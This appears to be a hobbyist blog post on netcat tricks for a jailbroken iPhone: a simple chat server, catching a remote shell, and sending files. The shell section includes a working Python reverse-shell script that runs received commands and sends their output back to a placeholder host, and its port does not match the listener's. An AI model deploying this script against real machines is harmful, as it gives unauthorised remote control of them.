Netcat Tricks for iPhone
Whats up guys!
In this post we’ll take a look at 3 cool tricks using netcat on the iPhone.
Note that you will need a jailbroken device in order to follow along; alternatively, you can just use a laptop/desktop with netcat installed.
Using checkra1n jailbreak, this has become trivial for most devices.
Networking Tools for iPhone
In order to use a lot of the networking tools in the iPhone, you’ll need to download them from Cydia first.
Go under Terminal Support and choose a terminal of your choice.
I went ahead with NewTerm.
Then make sure you have netcat installed from Networking section.
That’s everything we’re going to need.
Trick #1 – Simple Chat Server
For the first one, we’ll establish a chat server by simply listening for a connection; then connecting to it from the other system:
1) Chat server commands:
Server: netcat -lvvp 4020
Client: netcat -vv IP-address 4020
Once the connection is established we can then use it as a chat room.
Trick #2 – System Shell
As seen previously here on the blog, we can use netcat to listen for and catch a shell that will allow us to control that system remotely.
2) Shell commands:
Server: netcat -lvvp 4020
Client: Use the following script:
#!/usr/bin/env python3
import subprocess,socket,os
# Enter IP address and port
HOST = 'Enter.IP.Address.Here'
PORT = 4420
# Configure socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('\nHowdy!\n'.encode())
while True:
data = s.recv(1024)
if data.decode() == "quit": break
elif data.decode()[:2] == "cd":
try: os.chdir(data.decode()[3:])
except: pass
else:
proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
stdoutput.decode()
s.sendall(stdoutput)
# Loop ends here
s.send('Bye!'.encode())
s.close()
Trick #3 – Send a File
I wanted to send some files from my iPhone to one of my computers and this worked out quite nicely for transferring images and videos fast:
3) Send file to another computer:
Server: cat file.jpg | netcat -lcvp 4020
Client: netcat -vv IP-address 4020 > file.jpg
You’ll need to set the filename and extension prior to the transfer though.
That’s all for today’s post, I’ll see you next time! 🙂




Leave a Comment